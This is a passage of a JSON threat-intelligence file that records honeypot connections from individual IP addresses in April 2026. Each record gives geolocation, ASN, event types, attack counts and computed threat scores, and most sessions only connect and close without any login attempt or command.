      "reputation_metrics": {
        "total_events_30d": 128,
        "days_active_30d": 29,
        "ports_targeted_30d": 38,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T10:49:56+00:00",
        "last_seen_30d": "2026-04-30T14:30:21.220000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 39,
        "ElasticPot": 8,
        "Cowrie": 6
      }
    },
    "66.132.195.79": {
      "attack_count": 6,
      "first_seen": "2026-04-18T14:33:37.091Z",
      "last_seen": "2026-04-18T14:34:36.448Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 187,
        "days_active_30d": 30,
        "ports_targeted_30d": 57,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T20:01:25+00:00",
        "last_seen_30d": "2026-04-30T19:55:36.105000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 105,
        "Honeytrap": 60,
        "ElasticPot": 9,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Sentrypeer": 1
      }
    },
    "8.134.159.4": {
      "attack_count": 6,
      "first_seen": "2026-04-04T04:48:47.006Z",
      "last_seen": "2026-04-04T04:48:51.507Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 5.0,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 6,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-03T09:02:43.735000+00:00",
        "last_seen_30d": "2026-04-08T03:00:40.981000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Cowrie": 6,
        "Dionaea": 4
      }
    },
    "104.152.52.200": {
      "attack_count": 4,
      "first_seen": "2026-04-18T07:23:56.728Z",
      "last_seen": "2026-04-18T07:23:57.173Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 40.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.7,
        "persistence": 18.3,
        "diversity": 6,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 47,
        "days_active_30d": 22,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-03T07:45:37.219000+00:00",
        "last_seen_30d": "2026-04-24T06:44:01.504000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 43,
        "Cowrie": 4
      }
    },
    "108.29.3.127": {
      "attack_count": 4,
      "first_seen": "2026-04-28T20:23:21.508Z",
      "last_seen": "2026-04-28T20:23:33.001Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Brooklyn",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 20.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T20:23:21.508000+00:00",
        "last_seen_30d": "2026-04-28T20:25:03.058000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "110.41.52.72": {
      "attack_count": 4,
      "first_seen": "2026-04-08T08:39:40.206Z",
      "last_seen": "2026-04-08T08:39:48.206Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T08:39:40.206000+00:00",
        "last_seen_30d": "2026-04-08T08:47:21.937000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "147.185.132.36": {
      "attack_count": 4,
      "first_seen": "2026-04-05T04:26:36.432Z",
      "last_seen": "2026-04-05T04:26:38.880Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 71,
        "days_active_30d": 29,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T21:33:39.164000+00:00",
        "last_seen_30d": "2026-04-30T03:10:03.828000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 50,
        "Honeytrap": 17,
        "Cowrie": 4
      }
    },
    "165.227.144.20": {
      "attack_count": 4,
      "first_seen": "2026-04-12T06:38:16.558Z",
      "last_seen": "2026-04-12T06:38:36.559Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 35.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 19.2,
        "persistence": 6.7,
        "diversity": 16,
        "spread": 25,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 8,
        "ports_targeted_30d": 8,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-09T19:07:56.822000+00:00",
        "last_seen_30d": "2026-04-16T22:30:13.624000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 19,
        "Cowrie": 4,
        "Tanner": 3,
        "Ipphoney": 1
      }
    },
    "186.105.109.0": {
      "attack_count": 4,
      "first_seen": "2026-04-28T10:10:56.595Z",
      "last_seen": "2026-04-28T10:13:03.311Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Chile",
      "country_code": "CL",
      "city": "Quinta Normal",
      "asn": 7418,
      "as_org": "TELEFONICA CHILE S.A.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T10:10:56.595000+00:00",
        "last_seen_30d": "2026-04-28T10:23:43.921000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "190.95.224.198": {
      "attack_count": 4,
      "first_seen": "2026-04-27T17:41:23.000Z",
      "last_seen": "2026-04-28T01:41:56.687Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ecuador",
      "country_code": "EC",
      "city": "Quito",
      "asn": 27947,
      "as_org": "Telconet S.A",
      "threat_score": 21.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T17:41:23+00:00",
        "last_seen_30d": "2026-04-28T01:52:06.067000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "205.210.31.5": {
      "attack_count": 4,
      "first_seen": "2026-04-26T22:26:53.305Z",
      "last_seen": "2026-04-26T22:26:56.155Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 73.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.7,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 37,
        "days_active_30d": 28,
        "ports_targeted_30d": 12,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T03:45:53.704000+00:00",
        "last_seen_30d": "2026-04-28T16:31:18.234000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 6,
        "Cowrie": 4,
        "ConPot": 1
      }
    },
    "223.106.222.138": {
      "attack_count": 4,
      "first_seen": "2026-04-29T07:33:43.517Z",
      "last_seen": "2026-04-30T00:24:30.103Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Changshu",
      "asn": 56046,
      "as_org": "China Mobile communications corporation",
      "threat_score": 23.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:33:43.517000+00:00",
        "last_seen_30d": "2026-04-30T00:25:40.030000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4
      }
    },
    "45.63.71.244": {
      "attack_count": 4,
      "first_seen": "2026-04-22T18:56:32.369Z",
      "last_seen": "2026-04-22T18:56:32.593Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "GET /login HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Accept-Encoding: gzip",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Elk Grove Village",
      "asn": 20473,
      "as_org": "The Constant Company, LLC",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.8,
        "persistence": 1.7,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 30,
        "days_active_30d": 2,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T10:52:22.083000+00:00",
        "last_seen_30d": "2026-04-22T20:10:51.037000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Cowrie": 4
      }
    },
    "54.211.15.44": {
      "attack_count": 4,
      "first_seen": "2026-04-26T00:56:11.803Z",
      "last_seen": "2026-04-26T00:56:15.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 49.9,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.8,
        "persistence": 20.8,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 25,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T00:58:41+00:00",
        "last_seen_30d": "2026-04-26T00:57:18.264000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "98.84.153.117": {
      "attack_count": 4,
      "first_seen": "2026-04-10T01:00:16.365Z",
      "last_seen": "2026-04-10T01:00:22.332Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 27.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.3,
        "persistence": 11.7,
        "diversity": 10,
        "spread": 20,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 14,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-02T00:54:38+00:00",
        "last_seen_30d": "2026-04-15T00:57:27.392000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 3,
        "Ciscoasa": 1
      }
    },
    "115.190.204.124": {
      "attack_count": 3,
      "first_seen": "2026-04-11T16:29:44.378Z",
      "last_seen": "2026-04-11T16:29:45.536Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T16:29:44.378000+00:00",
        "last_seen_30d": "2026-04-11T16:30:53.141000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "103.178.191.114": {
      "attack_count": 2,
      "first_seen": "2026-04-30T17:36:16.845Z",
      "last_seen": "2026-04-30T17:36:30.153Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 149309,
      "as_org": "The Matrix Technology",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T17:36:16.845000+00:00",
        "last_seen_30d": "2026-04-30T17:37:33.809000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.206.103.170": {
      "attack_count": 2,
      "first_seen": "2026-04-16T06:17:15.406Z",
      "last_seen": "2026-04-16T06:17:28.086Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 137120,
      "as_org": "Nas Internet Services Private Limited",
      "threat_score": 10.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T06:17:15.406000+00:00",
        "last_seen_30d": "2026-04-16T06:18:32.138000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.38.236.50": {
      "attack_count": 2,
      "first_seen": "2026-04-13T13:54:01.587Z",
      "last_seen": "2026-04-13T13:54:32.092Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149148,
      "as_org": "Phu Hai Computer Co., Ltd",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T13:54:01.587000+00:00",
        "last_seen_30d": "2026-04-13T13:55:40.478000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "104.9.83.87": {
      "attack_count": 2,
      "first_seen": "2026-04-11T01:28:01.798Z",
      "last_seen": "2026-04-11T01:28:15.144Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 7018,
      "as_org": "AT&T Enterprises, LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-11T01:28:01.798000+00:00",
        "last_seen_30d": "2026-04-11T01:29:20.323000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.235.239.15": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:35:42.222Z",
      "last_seen": "2026-04-30T07:35:54.936Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:35:42.222000+00:00",
        "last_seen_30d": "2026-04-30T07:37:05.095000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.21.79.93": {
      "attack_count": 2,
      "first_seen": "2026-04-06T07:06:35.110Z",
      "last_seen": "2026-04-06T07:06:50.350Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Kolkata",
      "asn": 45775,
      "as_org": "WISH NET PRIVATE LIMITED",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T07:06:35.110000+00:00",
        "last_seen_30d": "2026-04-06T07:07:54.263000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "114.55.149.235": {
      "attack_count": 2,
      "first_seen": "2026-04-09T23:13:30.528Z",
      "last_seen": "2026-04-09T23:13:30.529Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T23:13:30.528000+00:00",
        "last_seen_30d": "2026-04-09T23:14:35.615000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "125.133.1.182": {
      "attack_count": 2,
      "first_seen": "2026-04-21T03:45:07.355Z",
      "last_seen": "2026-04-21T03:45:21.767Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Ansan-si",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T03:45:07.355000+00:00",
        "last_seen_30d": "2026-04-21T03:46:30.407000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.1.106.80": {
      "attack_count": 2,
      "first_seen": "2026-04-12T18:52:51.299Z",
      "last_seen": "2026-04-12T18:53:03.429Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T18:52:51.299000+00:00",
        "last_seen_30d": "2026-04-12T18:54:12.710000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "147.185.132.94": {
      "attack_count": 2,
      "first_seen": "2026-04-30T21:20:05.090Z",
      "last_seen": "2026-04-30T21:20:05.420Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.3,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.3,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 108,
        "days_active_30d": 30,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T19:52:38+00:00",
        "last_seen_30d": "2026-04-30T21:21:09.252000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 73,
        "Honeytrap": 31,
        "Cowrie": 2,
        "Dicompot": 1,
        "Tanner": 1
      }
    },
    "152.32.191.75": {
      "attack_count": 2,
      "first_seen": "2026-04-06T20:43:00.609Z",
      "last_seen": "2026-04-06T20:43:00.611Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 3.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-06T20:43:00.609000+00:00",
        "last_seen_30d": "2026-04-06T20:44:05.160000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "172.232.111.219": {
      "attack_count": 2,
      "first_seen": "2026-04-04T00:33:47.195Z",
      "last_seen": "2026-04-04T00:33:47.196Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chennai",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T00:33:47.195000+00:00",
        "last_seen_30d": "2026-04-04T00:34:56.645000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "173.178.113.109": {
      "attack_count": 2,
      "first_seen": "2026-04-17T19:28:03.880Z",
      "last_seen": "2026-04-17T19:28:39.440Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "La Prairie",
      "asn": 5769,
